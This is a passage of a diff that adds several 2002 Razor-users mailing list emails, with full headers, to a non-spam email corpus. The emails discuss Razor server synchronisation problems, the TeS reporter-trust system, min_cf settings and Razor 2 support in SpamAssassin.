AM +To: mail@vipul.net +Cc: ML-razor-users +Subject: RE: [Razor-users] What's wrong with the Razor servers now? + + +It's still doing it. I reported a message as spam 10 minutes ago and +the check keeps coming back false. What's funny is that message that +I'm testing with it the sample-spam.txt message from SpamAssassin and I +know it's been reported before. + +-----Original Message----- +From: Vipul Ved Prakash [mailto:mail@vipul.net] +Sent: Wednesday, August 07, 2002 3:45 AM +To: Rose, Bobby +Cc: ML-razor-users +Subject: Re: [Razor-users] What's wrong with the Razor servers now? + + +Hi, + +We were rolling out changes to TeS and catalogue servers over the last +two days. Any glitches you might have experienced would have been due to +the upgrades. The upgrades are now complete, and things are back to +normal. Several new features in TeS will provide better accuracy, +specially with regards to false-positives. + +cheers, +vipul. + +On Tue, Aug 06, 2002 at 06:54:04PM -0400, Rose, Bobby wrote: +> I'm still seeing this. It reports to honor.cloudmark.com but checks +> against apt.cloudmark.com. What is the sync delay between these +> boxes? +> +> -----Original Message----- +> From: Rose, Bobby +> Sent: Monday, August 05, 2002 2:05 PM +> To: ML-razor-users +> Subject: [Razor-users] What's wrong with the Razor servers now? +> +> +> I noticed a low count of razor'd spam messages. So after digging, if I + +> razor-report a message the diags say that it was accepted but if I +> turn around and run a check on the exact same message that was +> reported, then it doesn't find the sig and as such isn't spam. +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00585.a9763d3908545b69df03e1f239af6f28 b/bayes/spamham/easy_ham_2/00585.a9763d3908545b69df03e1f239af6f28 new file mode 100644 index 0000000..7a8f71f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00585.a9763d3908545b69df03e1f239af6f28 @@ -0,0 +1,109 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 7 16:11:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1531B440A8 + for ; Wed, 7 Aug 2002 11:11:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 16:11:05 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g77F89k04694 for ; Wed, 7 Aug 2002 16:08:09 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cSEF-0005oa-00; Wed, + 07 Aug 2002 07:56:03 -0700 +Received: from netcom.netc.net ([205.205.40.8] helo=netc.net) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cSDl-0006NT-00 for ; Wed, + 07 Aug 2002 07:55:34 -0700 +Received: from dhiggins ([::ffff:205.233.198.35]) (IDENT: nnzrjkx) by + netc.net with esmtp; Wed, 07 Aug 2002 10:55:31 -0400 +Message-Id: <054c01c23e22$625a2400$6600a8c0@dhiggins> +From: "Daniel Higgins" +To: "ML-razor-users" +References: + <051301c23e1d$d32c1350$6600a8c0@dhiggins> + <20020807143957.GB24689@fsckit.net> +Subject: Re: [Razor-users] What's wrong with the Razor servers now? +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 +X-MIME-Autoconverted: from 8bit to quoted-printable by courier 0.37.3 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 7 Aug 2002 10:54:51 -0400 +Date: Wed, 7 Aug 2002 10:54:51 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g77F89k04694 + +except that the server doesn't know you are the same person that reported +the spam, since the identity isn't checked (at least not required, so i +assume it's not checked) when doing a razor-check +-- +Daniel Higgins +Administrateur Système +Netcommunications Inc. +----- Original Message ----- +From: "Tabor J. Wells" +To: "Daniel Higgins" +Cc: ; "ML-razor-users" +Sent: Wednesday, August 07, 2002 10:39 AM +Subject: Re: [Razor-users] What's wrong with the Razor servers now? + + +> On Wed, Aug 07, 2002 at 10:22:13AM -0400, +> Daniel Higgins is thought to have said: +> +> > maybe i'm wrong, but it could be that your trust isn't high enough to +flag a +> > single message as spam? +> +> It would seem to make sense that regardless of your TeS value, the +> signatures you report should always come back as spam when you check them +> since you should always be able to trust yourself. :) +> +> -- +> -------------------------------------------------------------------- +> Tabor J. Wells razor-users@fsckit.net +> Fsck It! Just another victim of the ambient morality +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00586.fa3be9fc6e06d6f6cb551a84a8b45f63 b/bayes/spamham/easy_ham_2/00586.fa3be9fc6e06d6f6cb551a84a8b45f63 new file mode 100644 index 0000000..8e64bc4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00586.fa3be9fc6e06d6f6cb551a84a8b45f63 @@ -0,0 +1,245 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 8 15:54:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0965D44127 + for ; Thu, 8 Aug 2002 10:28:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 15:28:04 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g78EQm212535 for ; Thu, 8 Aug 2002 15:26:48 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17co91-00054P-00; Thu, + 08 Aug 2002 07:20:07 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17co8r-00065Q-00 for ; Thu, + 08 Aug 2002 07:19:57 -0700 +Content-Class: urn:content-classes:message +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] What's wrong with the Razor servers now? +Thread-Index: AcI+tQNuYiJZEHNnT+mEPsgpIWHFEQAKNswgAAIMKlA= +From: "Rose, Bobby" +To: , +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 10:19:46 -0400 +Date: Thu, 8 Aug 2002 10:19:46 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g78EQm212535 + + +Oh yeh one more thing. None of this would explain why the signatures +for sample-spam.txt from spamassassin is registered on honor but not apt +or fire. + +-----Original Message----- +From: Rose, Bobby +Sent: Thursday, August 08, 2002 9:54 AM +To: mail@vipul.net; razor-users@example.sourceforge.net +Subject: RE: [Razor-users] What's wrong with the Razor servers now? + + +Thanks that helps. There's still so little info on TES and those of us +here since RazorV1 know how it works. I did set my min_cf to "ac-100" +which I thought would be zero. + +So the way you are suggesting that it works now is that everyone has a +trust level of 1 and have to work their way up. Your trust level +increases when someone nominates the same message as spam. This must +have been the new changes made at the beginning of the week unless the +changes dumped everyone's trust level. Now here come the questions... + +What engine signature does TES look at? Does it have to be the same e1 +signature or does it use the e2 or e4 signatures. How many people have +to nominate the message before everyones rating increases? How many +revokes decreases someones rating? Does a single revoke decrease the +rating of everyone that nominated the message? If a newby reports a +message that has already been reported does their trust level +immediately go up? In the case of revoking, does someone with a trust +level of 1 have the capability to revoke a message submitted by multiple +people with higher trust levels? + + + + +-----Original Message----- +From: Vipul Ved Prakash [mailto:mail@vipul.net] +Sent: Thursday, August 08, 2002 4:22 AM +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] What's wrong with the Razor servers now? + + +Bobby, + +Couple of things: + +If you are not a trusted reporter, your reports will not have an +immediate effect. It takes a bunch of trusted reporters to bump up the +confidence of a signature to a point where it is considered to be spam. +This might be frustrating initially, but as the number of trusted users +grows the time delay between nominations and determination will become +shorter. Of course, it's a lot more frustating for people to have their +legit mail filtered out due to incorrect reporting. + +Also, for the purpose of testing, I'd suggest making your min_cf (in +razor-agents.conf) to 0. min_cf defaults to the server recommended +average confidence, which at the moment is 1. Setting min_cf to 0 should +return true for whatever you submit (as long as it was not revoked by a +trusted user). + +apt/fire sync with honor every 5 minutes, so you'd have to wait for a +_maximum_ of 5 minutes before signatures propagate. + +cheers, +vipul. + + +On Wed, Aug 07, 2002 at 11:51:21PM -0400, Rose, Bobby wrote: +> This is still happening. Nothing that I report is being registered at + +> all. I have confirmed that this also affects the Cloudmark Outlook +> plugin. If I block a message from Outlook using Spamnet then run it +> against the folder containing the message that was reported then +> nothing happens. +> +> On the unix side, I've tried different cloudmark servers, different +> identies, report from different systems, etc without an effect. I did + +> find that sample-spam.txt from Spamassassin is only registered on +> honor.cloudmark.net and comes back positive from it and it only so +> it's clearly not sync'd with apt or fire. +> +> +> +> -----Original Message----- +> From: Rose, Bobby +> Sent: Wednesday, August 07, 2002 1:32 PM +> To: Patrick +> Cc: ML-razor-users +> Subject: RE: [Razor-users] What's wrong with the Razor servers now? +> +> +> I'm sure others have thought of that. Probably the only way to +> prevent that is to include the host in the report/revoke +> authentication. +> +> -----Original Message----- +> From: Patrick [mailto:patrick@stealthgeeks.net] +> Sent: Wednesday, August 07, 2002 12:33 PM +> To: Rose, Bobby +> Cc: ML-razor-users +> Subject: RE: [Razor-users] What's wrong with the Razor servers now? +> +> +> On Wed, 7 Aug 2002, Rose, Bobby wrote: +> +> > Well at least it's been confirmed. I can say for cetain that it +> > started on Monday since that was when I noticed a huge drop in stats +> of messages +> > that were tagged as being in razor. And I know it was fine on +> Friday. +> > It may have something to do with the upgrades on the servers that +> > Vipul mentioned. If TES is going to decide on what gets registered +> > and what doesn't then razor-report should provide some debug info +> > about the refusal. You are correct about the need for more info on +> > TES, but it probably won't happen for fear of circumvention. +> +> +> +> On the way into work I thought of some fairly easy ways to circumvent +> what I imagine the current trust model to be based on individual users + +> blindly submitting reports and checking results. +> +> It's hard to imagine others haven't as well, as I'm not too bright. +> +> +> /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ +> /\ +> /\/\/\ +> Patrick Greenwell +> Asking the wrong questions is the leading cause of wrong +> answers +> +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ +> \/\/\/ +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00587.31524eb0acc6a8a3d99a5d1470901a51 b/bayes/spamham/easy_ham_2/00587.31524eb0acc6a8a3d99a5d1470901a51 new file mode 100644 index 0000000..e1141f2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00587.31524eb0acc6a8a3d99a5d1470901a51 @@ -0,0 +1,96 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 8 15:59:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8586944116 + for ; Thu, 8 Aug 2002 10:01:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 15:01:52 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g78E1n211218 for ; Thu, 8 Aug 2002 15:01:49 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cnll-0008Cz-00; Thu, + 08 Aug 2002 06:56:05 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cnlL-0001pu-00 for ; Thu, + 08 Aug 2002 06:55:39 -0700 +Content-Class: urn:content-classes:message +Subject: RE: [Razor-users] New to razor +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] New to razor +Thread-Index: AcI+3OWqlD/RUialQAqZCBkjBfD+KQABiwMQ +From: "Rose, Bobby" +To: "Justin Mason" , + "Michael Graff" +Cc: +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 09:55:32 -0400 +Date: Thu, 8 Aug 2002 09:55:32 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g78E1n211218 + +I concur, but just ignore the razor errors during the make test of +spamassassin. That recently started failing but appears just to be the +test failing. + +-----Original Message----- +From: Justin Mason [mailto:yyyy@spamassassin.taint.org] +Sent: Thursday, August 08, 2002 9:07 AM +To: Michael Graff +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] New to razor + + + +Michael Graff said: + +> I'm trying to get spamassassin 2.31 and razor (latest) to play +> together. From what I see, this isn't likely to happen trivially, + +Mike -- use the CVS version of SpamAssassin. it works well and supports +Razor 2. + +--j. + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00588.caf92e986cd8f22e2c173b75f6b87a6b b/bayes/spamham/easy_ham_2/00588.caf92e986cd8f22e2c173b75f6b87a6b new file mode 100644 index 0000000..616ff9f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00588.caf92e986cd8f22e2c173b75f6b87a6b @@ -0,0 +1,224 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 8 15:59:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0AE844115 + for ; Thu, 8 Aug 2002 10:01:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 15:01:34 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g78E1Y211204 for ; Thu, 8 Aug 2002 15:01:34 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cnjn-0007fA-00; Thu, + 08 Aug 2002 06:54:03 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cnjT-0001fe-00 for ; Thu, + 08 Aug 2002 06:53:43 -0700 +Content-Class: urn:content-classes:message +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] What's wrong with the Razor servers now? +Thread-Index: AcI+tQNuYiJZEHNnT+mEPsgpIWHFEQAKNswg +From: "Rose, Bobby" +To: , +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 09:53:35 -0400 +Date: Thu, 8 Aug 2002 09:53:35 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g78E1Y211204 + +Thanks that helps. There's still so little info on TES and those of us +here since RazorV1 know how it works. I did set my min_cf to "ac-100" +which I thought would be zero. + +So the way you are suggesting that it works now is that everyone has a +trust level of 1 and have to work their way up. Your trust level +increases when someone nominates the same message as spam. This must +have been the new changes made at the beginning of the week unless the +changes dumped everyone's trust level. Now here come the questions... + +What engine signature does TES look at? Does it have to be the same e1 +signature or does it use the e2 or e4 signatures. How many people have +to nominate the message before everyones rating increases? How many +revokes decreases someones rating? Does a single revoke decrease the +rating of everyone that nominated the message? If a newby reports a +message that has already been reported does their trust level +immediately go up? In the case of revoking, does someone with a trust +level of 1 have the capability to revoke a message submitted by multiple +people with higher trust levels? + + + + +-----Original Message----- +From: Vipul Ved Prakash [mailto:mail@vipul.net] +Sent: Thursday, August 08, 2002 4:22 AM +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] What's wrong with the Razor servers now? + + +Bobby, + +Couple of things: + +If you are not a trusted reporter, your reports will not have an +immediate effect. It takes a bunch of trusted reporters to bump up the +confidence of a signature to a point where it is considered to be spam. +This might be frustrating initially, but as the number of trusted users +grows the time delay between nominations and determination will become +shorter. Of course, it's a lot more frustating for people to have their +legit mail filtered out due to incorrect reporting. + +Also, for the purpose of testing, I'd suggest making your min_cf (in +razor-agents.conf) to 0. min_cf defaults to the server recommended +average confidence, which at the moment is 1. Setting min_cf to 0 should +return true for whatever you submit (as long as it was not revoked by a +trusted user). + +apt/fire sync with honor every 5 minutes, so you'd have to wait for a +_maximum_ of 5 minutes before signatures propagate. + +cheers, +vipul. + + +On Wed, Aug 07, 2002 at 11:51:21PM -0400, Rose, Bobby wrote: +> This is still happening. Nothing that I report is being registered at + +> all. I have confirmed that this also affects the Cloudmark Outlook +> plugin. If I block a message from Outlook using Spamnet then run it +> against the folder containing the message that was reported then +> nothing happens. +> +> On the unix side, I've tried different cloudmark servers, different +> identies, report from different systems, etc without an effect. I did + +> find that sample-spam.txt from Spamassassin is only registered on +> honor.cloudmark.net and comes back positive from it and it only so +> it's clearly not sync'd with apt or fire. +> +> +> +> -----Original Message----- +> From: Rose, Bobby +> Sent: Wednesday, August 07, 2002 1:32 PM +> To: Patrick +> Cc: ML-razor-users +> Subject: RE: [Razor-users] What's wrong with the Razor servers now? +> +> +> I'm sure others have thought of that. Probably the only way to +> prevent that is to include the host in the report/revoke +> authentication. +> +> -----Original Message----- +> From: Patrick [mailto:patrick@stealthgeeks.net] +> Sent: Wednesday, August 07, 2002 12:33 PM +> To: Rose, Bobby +> Cc: ML-razor-users +> Subject: RE: [Razor-users] What's wrong with the Razor servers now? +> +> +> On Wed, 7 Aug 2002, Rose, Bobby wrote: +> +> > Well at least it's been confirmed. I can say for cetain that it +> > started on Monday since that was when I noticed a huge drop in stats +> of messages +> > that were tagged as being in razor. And I know it was fine on +> Friday. +> > It may have something to do with the upgrades on the servers that +> > Vipul mentioned. If TES is going to decide on what gets registered +> > and what doesn't then razor-report should provide some debug info +> > about the refusal. You are correct about the need for more info on +> > TES, but it probably won't happen for fear of circumvention. +> +> +> +> On the way into work I thought of some fairly easy ways to circumvent +> what I imagine the current trust model to be based on individual users + +> blindly submitting reports and checking results. +> +> It's hard to imagine others haven't as well, as I'm not too bright. +> +> +> /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ +> /\ +> /\/\/\ +> Patrick Greenwell +> Asking the wrong questions is the leading cause of wrong +> answers +> +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ +> \/\/\/ +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00589.23fd7ba6490b9990e197f84ec11261e8 b/bayes/spamham/easy_ham_2/00589.23fd7ba6490b9990e197f84ec11261e8 new file mode 100644 index 0000000..97b14d0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00589.23fd7ba6490b9990e197f84ec11261e8 @@ -0,0 +1,110 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 14:43:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 533A243FB1 + for ; Fri, 9 Aug 2002 09:43:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 14:43:23 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79DiGb02527 for + ; Fri, 9 Aug 2002 14:44:16 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id OAA06657 for + ; Fri, 9 Aug 2002 14:41:06 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d9vz-0001Ti-00; Fri, + 09 Aug 2002 06:36:07 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17d9vm-0003UR-00 for ; Fri, + 09 Aug 2002 06:35:54 -0700 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] What's wrong with the Razor servers now? +Thread-Index: AcI/XKGClT30eIaQTH+SkPSHcjwROAATQXrQ +From: "Rose, Bobby" +To: +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 09:35:48 -0400 +Date: Fri, 9 Aug 2002 09:35:48 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g79DiGb02527 + +Isn't that why you have whitelisting? + +-----Original Message----- +From: Will Glynn [mailto:delta407@delta407.homeip.net] +Sent: Friday, August 09, 2002 12:18 AM +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] What's wrong with the Razor servers now? + + +> Who loses in this case? Why? Neither party is inaccurate in their +> actions IMO. But someone's standing is going to get hurt because of +> it. + +My question for the trust system is this. I signed up for a free account + +on some website that gives me free access to a large compilation of +data, +and in so doing have subscribed myself to their mailing list. The +mailing +includes a list of new articles and books and so forth as well as a few +links to their book store. + +This is consistently flagged as spam, even though I *agreed* to see it, +and I *want* to see what new articles there are, since some of them +might +be interesting. Thus, since it is certifiably *not* spam (it even +includes a link to terminate your account), I revoke it. Even so, the +next mail is still flagged as spam. + +Who is losing a trust rating here? If it is not unsolicited commercial +e- mail, it should not be reported by Razor as spam -- correct? + +--Will + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net 